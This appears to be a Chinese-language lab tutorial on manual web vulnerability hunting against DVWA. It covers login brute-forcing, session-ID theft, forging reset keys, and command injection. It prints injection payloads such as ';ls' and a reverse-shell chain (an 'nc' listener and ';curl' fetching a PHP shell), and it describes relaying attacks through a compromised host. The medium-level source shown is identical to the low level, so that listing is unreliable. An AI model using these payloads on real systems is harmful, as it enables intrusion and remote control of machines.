第十三章—手动漏洞挖掘(二)

身份认证

面对web application的登录。
常用弱口令/基于字典的密码爆破
判断登录输入密码是否会有次数限制,如果超过次数限制是否会锁定账户
进行信息收集:收集用户名,例如手机号,然后再登录界面使用收集到的用户名进行登录,根据密码错误提示信息
如果你和登录用户处在同一局域网中或你在客户端到服务器的链路上,就可以在链路的某一跳的路由设备上进行流量截获,尝试使用密码嗅探。

1.账号密码

从账号密码层面去破解。
例:
启动metasploitable、burpsuite,我的metasploitable环境ip是10.0.0.141。
访问10.0.0.141/dvwa
1.先输入错误的用户名密码:返回登录失败,没有明确提示是用户名错误还是密码错误。
在这里插入图片描述
查看burp截获的信息:
在这里插入图片描述
返回信息直接就是302:
在这里插入图片描述
登录失败后重定向到登录页面,我们查看页面中有login failed:
在这里插入图片描述
2.再尝试输入正确的用户名和错误的密码进行尝试:
在这里插入图片描述
在这里插入图片描述
3.比较两者差别,使用burp的comparer功能。
发现没有什么区别,只有访问时间不一样。0000

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
4.如果提示是密码错误,那么我就可以确定有admin这个用户,我们就可以进行密码破解。
在这里插入图片描述
选中密码:
在这里插入图片描述
举例如下:进行破解。
在这里插入图片描述

2.会话sessionID

只要输入正确的账号密码并成功的登录一次,web application就会返回给你一个cookie随机值,在这次会话过程中访问的每次请求都携带着这个cookie传输给服务器,服务器接收到cookie这个sessionID是服务器已经允许访问相关资源的sessionID,就会允许登录,进入到登录后的页面。
sessionID一种会以文件的形式存到电脑里,一种会存在内存里,现在大部分程序都不会以文件的形式存到电脑里了,大部分都是放到内存里,遇到这种情况,我们可以通过抓包或跨站等手段来获取sessionID。
我们来看一下DVWA的sessionID:
在这里插入图片描述

3.找回密码

web application一般会有一个功能是找回密码,比如,有的需要输入用户名和回答一些问题,如果正确的话,系统会像你的邮箱中发送一串url,大致为http://www.example.com/reset?email=user@exampla.com&key=fd54gdsg2as6a5g45e2a1gdg3s5g;
我们可以查看key后面跟的这一串乱码,如果是128位,可能是MD5加密;如果是160位,可能是SHA1加密;如果是256位,可能是SHA2加密,我们可以通过尝试对email后的值通过不同的加密算法加密赋值给key看是否可以访问成功。

手动挖掘原则

适用于任何web application,任何场景。

  • 所有变量:所有变量都要尝试,用各种各样的注入攻击的手段去尝试每一个变量,每一个提交的数据,每一个可提交数据的位置。
  • 所有头:需要重点关注的是cookie、refer等变量。
  • 逐个变量删除:有些变量可能在当前页面中提交服务器的时候,服务器是不关注这些变量、位置,可以按照逐个删除变量的方法,可以判断出来这次请求中是那个变量作为服务端判断的条件。

我们可以登录DVWA,然后手动爬网,将网页里可点击的都点击一遍,查看burp:
在这里插入图片描述
我们可以对爬到的url进行过滤,只查看有参数的:
在这里插入图片描述
如下url,我们可以看到在body里有参数,在cookie里也有参数:
在这里插入图片描述

逐个删除变量

对该url后面的每一个变量的值修改,并进行重复提交,判断服务器是否对提交的数据进行了处理,根据提交的数据进行结果处理给你返回数据。我们就可以使用burp的repeater功能。
在这里插入图片描述
我们可以对这些头逐行删除,然后对返回结果进行对比,若比较之后,没有任何差别,那说明删掉的东西对我们这次提交的请求没有任何影响。

逐个修改变量

当我们在burp里修改ip的值重新提交时。返回结果如下:
在这里插入图片描述
在这里插入图片描述
我们需要注意服务器端是否对‘、“、|等这些服务有过滤,此时就需要对这些符号进行编码然后再重新提交。

漏洞的本质

所有漏洞根本原因都是数据与指令混淆了。如果服务端对用户输入信息过滤不严格判断失误,就会误将指令当数据。

如何去发现这些漏洞?
首先需要把常见的漏洞

类型先有一个了解,以及他们的原理掌握了,然后当我们下次去检查web application的时候,当有这么一个可以输入数据的位置的时候,我们会需要把每一个我们所掌握的漏洞类型的探测方法全部进行尝试一遍。
在做的时候,我们需要首先去观察这个web applicaiton的功能。

命令执行

对于应用程序开发者直接调用操作系统功能,通过;、&&、|、||、&举例说明:
DWVA页面中该功能,通过查看返回的结果,我们可以看到这个是直接调用了操作系统功能,因此我们就可以进行尝试。
在这里插入图片描述

设置DWVA安全等级为low

在这里插入图片描述
查看页面源码:

 <?php
if( isset( $_POST[ 'submit' ] ) ) {
    $target = $_REQUEST[ 'ip' ];
    // Determine OS and execute the ping command.
    if (stristr(php_uname('s'), 'Windows NT')) { 
        $cmd = shell_exec( 'ping  ' . $target );
        echo '<pre>'.$cmd.'</pre>';    
    } else { 
        $cmd = shell_exec( 'ping  -c 3 ' . $target );
        echo '<pre>'.$cmd.'</pre>';        
    }    
}
?> 

输入:127.0.0.1,得到下面结果:
在这里插入图片描述
输入;ls时,发现可以执行;后面的命令。
在这里插入图片描述
在这里插入图片描述

设置DWVA安全等级为medium

在这里插入图片描述
查看页面源码:

 <?php
if( isset( $_POST[ 'submit' ] ) ) {
    $target = $_REQUEST[ 'ip' ];
    // Determine OS and execute the ping command.
    if (stristr(php_uname('s'), 'Windows NT')) {     
        $cmd = shell_exec( 'ping  ' . $target );
        echo '<pre>'.$cmd.'</pre>';        
    } else {     
        $cmd = shell_exec( 'ping  -c 3 ' . $target );
        echo '<pre>'.$cmd.'</pre>';        
    }    
}
?>

此时我们再使用等级为low时的命令进行测试:
输入该命令不执行。
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

设置DWVA安全等级为high

查看页面源码:

 <?php
if( isset( $_POST[ 'submit' ] ) ) {
    $target = $_REQUEST["ip"];    
    $target = stripslashes( $target );        
    // Split the IP into 4 octects
    $octet = explode(".", $target);    
    // Check IF each octet is an integer
    if ((is_numeric($octet[0])) && (is_numeric($octet[1])) && (is_numeric($octet[2])) && (is_numeric($octet[3])) && (sizeof($octet) == 4)  ) {    
    // If all 4 octets are int's put the IP back together.
    $target = $octet[0].'.'.$octet[1].'.'.$octet[2].'.'.$octet[3];        
        // Determine OS and execute the ping command.
        if (stristr(php_uname('s'), 'Windows NT')) {     
            $cmd = shell_exec( 'ping  ' . $target );
            echo '<pre>'.$cmd.'</pre>';        
        } else {     
            $cmd = shell_exec( 'ping  -c 3 ' . $target );
            echo '<pre>'.$cmd.'</pre>';       
        }    
    }    
    else {
        echo '<pre>ERROR: You have entered an invalid IP</pre>';
    }        
}
?>

在这里插入图片描述
我们可根据这三种不同级别的安全等级,查看源码,发现在源码中有过滤用户输入的代码。

1.将php的反弹shell复制到/var/www/html下,命名为1.php
在这里插入图片描述
2.开启apache服务器
在这里插入图片描述
3.编辑1.php文件
要反弹谁就把ip写成谁的ip。
在这里插入图片描述

4.把浏览器代理关掉在这里插入图片描述
5.在kail上用nc侦听1234端口

nc -nvvlp 1234

6.在DVWA上运行一段指令

;curl http://10.0.0.140/1.php 

在DVWA上运行该指令,1.php一旦被执行,反弹shell就会弹给kail这台机器的1234端口。

在这里插入图片描述
kail上已经获得这个反弹shell。

反弹shell在哪台机器上,就在哪台机器上运行。

场景变换一下:
现在 有kail、有漏洞的机器、DVWA,我再有漏洞的机器上种了反弹sehll的1.php文件,同时我在1.php上配置了反弹连接,弹的是kail的1234端口。此时通过kail浏览器发请求去访问DVWA的远程命令执行漏洞,执行curl的指令,但是curl的目标ip就变成了有口懂的机器的ip的1.php,一访问,1.php就会触发执行,一执行,就会反弹给我的shell1234端口。相当于融肉鸡攻击别人,然后自己获得shell。

  • 1
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值